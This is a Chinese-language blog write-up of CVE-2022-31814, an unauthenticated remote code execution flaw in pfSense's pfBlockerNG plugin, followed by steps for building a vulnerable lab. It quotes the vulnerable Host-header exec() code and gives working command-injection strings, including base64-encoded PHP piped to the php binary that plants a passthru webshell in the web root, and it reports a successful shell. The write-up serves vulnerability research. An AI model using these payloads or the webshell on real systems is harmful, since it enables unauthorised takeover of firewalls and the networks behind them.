PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
概述
PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞
pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件
FreeBSD 是一种类UNIX操作系统
pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。
版本
pfSense 2.6.0
pfBlockerNG<=2.1.4_26
漏洞代码分析
位置/usr/local/www/pfblockerng/www/index.php有如下代码:
// Query DNSBL(邮件黑名单) Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
$_SERVER['HTTP_HOST']是一个用户可控的输入,攻击者通过host 头来修改该参数
即/usr/bin/grep -l ' "[用户可控] 60 IN A' /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep
/usr/bin/grep '要匹配的字符串' '文件的路径'
-l, --files-with-matches print only names of FILEs containing matches,打印仅包含匹配项字符串的文件名
用法如下图:
拼接命令
验证payload可行性
/usr/bin/grep -l ' \"' *; sleep 5 ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
可见start response timer时间延迟了约5s
本地执行命令测试如下图
默认情况下,pfSense中没有安装“base64-d”二进制文件,但python3.8安装了,因此,我们能够编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中:
测试的php代码
<?php echo("HELL");?>
base64编码
PD9waHAgZWNobygiSEVMTCIpPz4K
python解码
python -m base64 -d
然后传输到php
| php
拼接起来的命令为:
/usr/bin/grep -l ' \"' *;echo 'PD9waHAgZWNobygiSEVMTCIpPz4K'|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
结果如图,成功解析php代码并输出了HELL
构造后门
php代码:
<?php $a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru($_GET["c"]));?>';fwrite($a,$t);fclose($a);?>
passthru函数
php端
$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败 $params = "要传入python脚本的参数"; //传递给python脚本的入口参数 passthru($path.$params." ".$params2);
python端
import sys params = sys.argv[1] #即为获取到的PHP传入python的接口参数
通过以上即可实现php通过passthru函数来调用执行Python脚本
base64编码
PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=
拼接起来的命令为:
/usr/bin/grep -l ' \"' *;echo 'PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo='|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
成功注入
在网站上访问该木马文件,成功getshell
最后拿ihteam的脚本跑一下,成功rce
漏洞环境搭建
新建虚拟机,选择FreeBSD
配置如下,直接使用从官网下好的pfsense的iso文件
打开然后默认enter
安装好重启后,选2配置LAN的ip,配好后如下图:
然后浏览器直接输入192.168.153.139即可访问web界面
输入默认账户admin/pfsense完成登录
进入后选择配置向导
配置网络
到第四步配置如下:
后面默认,然后成功上网
启动SSH服务
系统-高级选项-管理员访问-安全shell下
启用安全ssh和允许代理转发的启用ssh-代理转发支持。然后xshell连接对应ip地址,用户是root即可连接
安装python开发环境
[2.6.0-RELEASE][[email protected]]/etc/pkg: pkg search python
frr7-pythontools-7.5.1_3 Provide configuration reload functionality for FRR
py38-gitpython-3.1.24 Python Git Library
python38-3.8.12_1 Interpreted object-oriented programming langua
[2.6.0-RELEASE][[email protected]]/etc/pkg: pkg install python38-3.8.12_1
试了python,python3,python38都没找到指令
最后进入/usr/local/bin目录下查看,发现是python3.8,如下图
配置pfBlockerNG插件
插件管理里搜索pfBlockerNG安装,只找到3.2.0_3版本的,先装上
github上找到2.1.4_26版本的pfBlockerNG插件
https://github.com/pfsense/FreeBSD-ports/tree/devel/net
https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4
然后点进对应版本的freebsd-port下载
解压zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php文件
ps:因为漏洞只出现在该文件中,所以直接把2.1.4_26版本的index.php文件下载下来上传到防火墙系统里覆盖已安装的3.2.0_3版本的index.php就行
在这个地方上传文件
成功上传返回路径
然后打开命令行,使新上传的index.php文件直接覆盖3.2.0_3版本的
mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php
参考链接
PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
PHP通过passthru()函数实现与python脚本的交互
payload:pfBlockerNG 2.1.4_26 - 远程代码执行 (RCE) - PHP 网络应用程序漏洞利用 (exploit-db.com)
标签:bin,31814,PfSense,python,base64,usr,2022,pfBlockerNG,php From: https://www.cnblogs.com/B0t1/p/17270086.html